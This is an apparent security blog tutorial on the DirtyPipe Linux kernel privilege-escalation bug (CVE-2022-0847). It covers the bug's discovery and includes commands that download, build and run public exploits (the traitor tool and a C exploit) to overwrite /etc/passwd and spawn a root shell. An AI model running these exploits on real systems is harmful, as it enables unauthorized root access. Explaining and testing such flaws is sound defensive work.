CVE 2022-0847 is a privilege escalation vulnerability discovered by Max Kellerman present in Linux Kernel itself post versions 5.8 which allows overwriting data in arbitrary read-only files or in simpler words, lets unprivileged processes inject code in privileged/root process and thus, escalating privilege. The original post with intricate work and details can be found here.
Max came to know of the vulnerability after he tried to resolve unprecedented CRC error in access logs. Many consumers of cm4all.com were reporting that monthly access logs, even though downloadable, couldn’t be decompressed and were throwing error. Max explains in his post how he has used the Z_SYNC_FLUSH mechanism along with splicing to concatenate daily log files into monthly ZIP archives available to be downloaded over HTTP. Upon closer examination, he reached the root problem.
Let me take some time to rephrase the problem statement mentioned by Max which lead to the discovery of this vulnerability.
Upon examining the access log zip files provided by consumers. He shared the following hex dump of the generic file:
81 d6 94 39 81 05 b0 ed e9 c0 fd 07 00 00 ff ff 03 00 9c 12 0b f5 f7 4a 00 00
00 00 ff ff: sync flush bytes
03 00: empty “final” block
9c 12 0b f5: CRC of the zip file
f7 4a 00 00: File length in decimals = 19191 bytes.
However, corrupt file showed the following hex dump:
81 d6 94 39 81 05 b0 ed e9 c0 fd 07 00 00 ff ff 03 00 50 4b 01 02 1e 03 14 00
50 4b 01 02: Changed CRC! 50 4b represents ASCII for “PK.” 01 02 represents code for central directory file header
1e 03 14 00: Changed file length in decimals 1.3Mb
As we can see, the CRC has changed to represent letters “PK” which is a header for *.zip files and the central directory file header. 1e 03 is equal to 30 (UNIX v3.0) and 14 00 is the version needed to extract (translated to ASCII 20 or v2.0)
Only 8 bytes were considered and the rest truncated.
Turns out the corruption was occurring because of a pipe error. You see, when you concatenate daily logs for a month it does so like the following:
Day 1+ Day 2 + …. + Day 31
It becomes a ZIP file when all 31 days are concatenated. Hence, on Day 31, filename.zip is created. While concatenating last day’s logs, a pipe error occurs which overwrites the CRC with ZIP header, thus, the “PK” part along with other details.
echo “abc” | cat > /dev/null
In the above case, echo is the STDOUT and cat takes in “abc” as STDIN. These inputs in the pipe are handled by file descriptors.
interestingly enough, “|” is called a pipe operator too. Quite literal!
FD[1] [WRITE end] (pipe output) <= FD[0] [READ end] (pipe input)
Thus, by providing in the FD1 to write to a file and reading from FD0, splice can write into files.
Format: write(FD1, buffer to write, size of buffer);
Max discovered through the corrupt access logs that due to a pipe error, unintentional data is being written into the zip file. He simulated the same:
Step 1: open a file “foo” and write “AAAAA” in the file. Pseudocode is like so:
int main() { for(;;) write(1, "AAAAA", 5); }
Step 2: create a pipe at offset 0 leading to foo.txt at the WRITE end.
Step 3: Splice and Write to this pipe another string “BBBBB”
Step 4: Page cache gets overwritten
Pseudocode for steps 2 through 4 is as follows:
int main() { for(;;) { splice(0,0,1,0,2,0); write(1,"BBBBB",5); }
Discovery: String “BBBBB” gets written to the file foo even though the second process had no permission to write to the file foo.
What causes this: Function PIPE_BUF_FLAG_CAN_MERGE had a missing flag initialization.
“By injecting PIPE_BUF_FLAG_CAN_MERGE into a page cache reference, it is possible to overwrite data in the page cache, simply by writing new data into the pipe prepared in a special way.”
If you’ve understood the discovery and simulation of the vulnerability in pipe, exploitation is quite easy to follow. You see, till now we have learnt how writing to a file by providing input through pipe can cause arbitrary file write. Thus, exploitation is as follows:
It works because page cache is always writeable by Kernel and writing to a pipe never checks for any permissions.
Max gave a sample exploit code in the original writeup which works just fine however we won’t be using that here.
Here, we will demonstrate two methods that will pipe the data into “/etc/passwd” file and grant us sudo rights. You can follow GTFObins to understand the method.
Liam’s tool called “traitor” has recently been updated to include an exploit for the CVE 2022-0847. First, let’s see if our user “ignite” is a normal user.
Perfect, a low-priv user. To download the ELF executable, you can:
wget https://github.com/liamg/traitor/releases/download/v0.0.14/traitor-amd64
Now, you need to give it execute permissions and run it to detect if the current OS is vulnerable by DirtyPipe or not. As you can see, Kernel 5.13 is vulnerable to the exploit!
chmod 777 traitor-amd64 ./traitor-amd64
To run the exploit, we can simply run this command:
./traitor-amd64 --exploit kernel:CVE-2022-0847 whoami id
And just like that, we have achieved escalated privileges! The exploit ran, injected data in /etc/passwd which makes my current user root, then spawned a shell automatically!
Based on the same guidelines, Arinerron created an exploit in C too. It creates a backup of /etc/passwd, injects data and then restores and spawns a shell as root!
To download, compile and run this you can run the following commands:
git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit.git cd CVE-2022-0847-DirtyPipe-Exploit ./compile.sh ./exploit
And just like that, we are now root!
The vulnerability has been fixed in Linux 5.16.11, 5.15.25, and 5.10.102 with new patches ongoing.
DirtyPipe is a high impact vulnerability with a low complexity attack vector. Organizations must immediately patch their systems with the latest Kernel patches as and when they are rolled out. Hope you liked the article and thanks for reading it.
Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here